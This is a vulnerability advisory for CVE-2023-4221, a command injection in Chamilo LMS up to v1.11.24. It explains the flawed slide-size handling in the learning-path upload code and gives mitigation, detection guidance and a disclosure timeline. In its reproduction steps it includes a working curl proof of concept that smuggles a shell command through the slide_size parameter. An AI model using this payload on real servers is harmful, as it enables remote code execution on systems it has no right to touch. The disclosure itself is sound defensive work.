Product Chamilo
Vendor Chamilo
Severity High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution.
Affected Versions <= v1.11.24
Tested Versions v1.11.24 (latest version as of writing)
CVE Identifier CVE-2023-4221
CVE Description Command injection in main/lp/openoffice_presentation.class.php in Chamilo LMS <= v1.11.24 allows users permitted to upload Learning Paths to obtain remote code execution via improper neutralisation of special characters.
CWE Classification(s) CWE-78: Improper Neutralization of Special Elements used in an OS Command
CAPEC Classification(s) CAPEC-88 OS Command Injection

CVSS3.1 Scoring System

Base Score: 7.2 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:N/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) High
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview

Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.

Vulnerability Summary

There are two command injection vulnerabilities manifesting in main/lp/openoffice_presentation.class.php (CVE-2023-4221) and main/lp/openoffice_text_document.class.php (CVE-2023-4222), which appears to be variants of CVE-2023-34960 (unauthenticated command injection in main/webservices/additional_webservices.php). Consequently, attackers with permissions to upload learning paths may exploit the vulnerability to gain remote code execution.

Note: This advisory details the first command injection vulnerability in main/lp/openoffice_presentation.class.php (CVE-2023-4221). The advisory for the second command injection vulnerability (variant) in main/lp/openoffice_text_document.class.php (CVE-2023-4222) can be found here.

Vulnerability Details

The relevant code from main/lp/lp_upload.php is shown below:

 elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && count($_FILES) > 0 && !empty($_FILES['user_file']['name'])) {
    // A file upload has been detected, now deal with the file...
    // Directory creation.
    $stopping_error = false;
    $s = $_FILES['user_file']['name'];

    // Get name of the zip file without the extension.
    $info = pathinfo($s);
    $filename = $info['basename'];
    $extension = $info['extension'];
    $file_base_name = str_replace('.'.$extension, '', $filename);

    $new_dir = api_replace_dangerous_char(trim($file_base_name));
    $type = learnpath::getPackageType($_FILES['user_file']['tmp_name'], $_FILES['user_file']['name']); // [1]
    switch ($type) {
        case 'oogie':
            require_once 'openoffice_presentation.class.php';
            $take_slide_name = empty($_POST['take_slide_name']) ? false : true;
            $o_ppt = new OpenofficePresentation($take_slide_name);
            $first_item_id = $o_ppt->convert_document($_FILES['user_file'], 'make_lp', $_POST['slide_size']); // [2]
        case 'woogie':
            require_once 'openoffice_text.class.php';
            $split_steps = (empty($_POST['split_steps']) || $_POST['split_steps'] == 'per_page') ? 'per_page' : 'per_chapter';
            $o_doc = new OpenofficeText($split_steps);
            $first_item_id = $o_doc->convert_document($_FILES['user_file']); // [3]

At [1], learnpath::getPackageType() is invoked to determine if oogie or woogie should be used for processing the uploaded file:

class learnpath
    public static function getPackageType($file_path, $file_name)
        // Get name of the zip file without the extension.
        $file_info = pathinfo($file_name);
        $extension = $file_info['extension']; // Extension only.
        if (!empty($_POST['ppt2lp']) && !in_array(strtolower($extension), [
            ])) {
            return 'oogie';
        if (!empty($_POST['woogie']) && !in_array(strtolower($extension), [
            ])) {
            return 'woogie';

Observe that so long as the uploaded file extension does not match dll or exe, supplying a non-empty ppt2lp or woogie POST parameter allows reaching of the respective code paths.

Subsequently, the code will flow to either [2] and [3] where command injection occurs. Note that [2] leads to the first command injection vulnerability (presented in this advisory), and [3] leads to a second command injection (CVE-2023-4222).

OpenofficePresentation Command Injection

At [2], OpenofficePresentation::convert_document() is invoked. Since OpenofficePresentation extends from OpenofficeDocument, OpenofficeDocument::convert_document() is invoked in absence of an overriden function within the OpenofficePresentation class:

abstract class OpenofficeDocument extends learnpath
    public function convert_document($file, $action_after_conversion = 'make_lp', $size = null)

        if (!empty($size)) {
            list($w, $h) = explode('x', $size); // [4]
            if (!empty($w) && !empty($h)) {
                $this->slide_width = $w;
                $this->slide_height = $h;

        $ppt2lp_host = api_get_setting('service_ppt2lp', 'host');

        if ($ppt2lp_host == 'localhost') { // [5]
            // Call to the function implemented by child.
            $cmd .= $this->add_command_parameters(); // [6]
            $shell = exec($cmd, $files, $return);

At [4], Observe that the user-supplied $size is split into $this->slide_width and $this->slide_height, but they are not type-casted to integers. Subsequently, if service_ppt2lp configuration option is set to localhost at [5], OpenofficePresentation::add_command_parameters() is invoked at [6] to construct $cmd which is passed to exec():

    public function add_command_parameters()
        if (empty($this->slide_width) || empty($this->slide_height)) {
            list($this->slide_width, $this->slide_height) = explode('x', api_get_setting('service_ppt2lp', 'size'));

        return ' -w '.$this->slide_width.' -h '.$this->slide_height.' -d oogie "'.$this->base_work_dir.'/'.$this->file_path.'"  "'.$this->base_work_dir.$this->created_dir.'.html"'; // command injection here

Since the user-supplied values for $this->slide_width and $this->slide_height are unsanitised and may contain shell metacharacters, it is possible to achieve command injection.

Exploit Conditions

The following exploit conditions are identified for successful execution of this exploit scenario reliably:

  1. Attacker must have permissions to upload learning paths (e.g. has the Trainer user role).
  2. Chamilo RAPID (Rapid Learning tool) is enabled.
  3. service_ppt2lp API configuration option must be set to localhost.


  1. Ensure that Chamilo RAPID (http://<chamilo>/main/admin/configure_extensions.php?display=ppt2lp) is enabled and that the host is set to localhost.
  2. As the attacker, log in to an account with Trainer user role.
  3. Note down the value of the ch_sid session cookie.
  4. Create a course named test and navigate to http://<chamilo>/courses/TEST/.
  5. Run the following shell commands on the attacker’s machine to execute arbitrary commands on the victim target:
    $ curl -b 'ch_sid=<ch_sid_value>' -F "user_file=@$(mktemp)" -F 'ppt2lp=y' -F 'slide_size=";x;id > /tmp/rce #"' 'http://<chamilo>/main/lp/lp_upload.php'
  6. Observe that the file /tmp/rce is created on the target server with the id shell command output as the file contents.

Suggested Mitigations

It is recommended to use escapeshellarg() to properly escape user-input used to construct shell commands.

End users are encouraged to update to the latest version of Chamilo.

Detection Guidance

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to:

  1. /main/lp/lp_upload.php
  2. /main/lp/lp_controller.php
  3. /main/upload/upload_ppt.php
  4. /main/upload/upload_upload.php
  5. /main/upload/upload.scorm.php

Successful exploitation of this vulnerability requires a non-empty ppt2lp POST parameter and the command injection payload to be placed in the slide_size POST parameter.


Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)


  • 2023-09-04 Vendor Disclosure
  • 2023-09-06 Initial Vendor Contact
  • 2023-09-12 Sent additional information to vendor regarding incomplete fixes found
  • 2023-09-27 Vendor Patch Release (v1.11.26) completely fixing vulnerability
  • 2023-09-29 Vendor published the vulnerability sumamry
  • 2023-09-29 Mutual agreement to delay the publication of vulnerability details was reached in light of the recent in-the-wild exploitation of Chamilo N-day vulnerability (CVE-2023-34960)
  • 2023-11-28 Public Release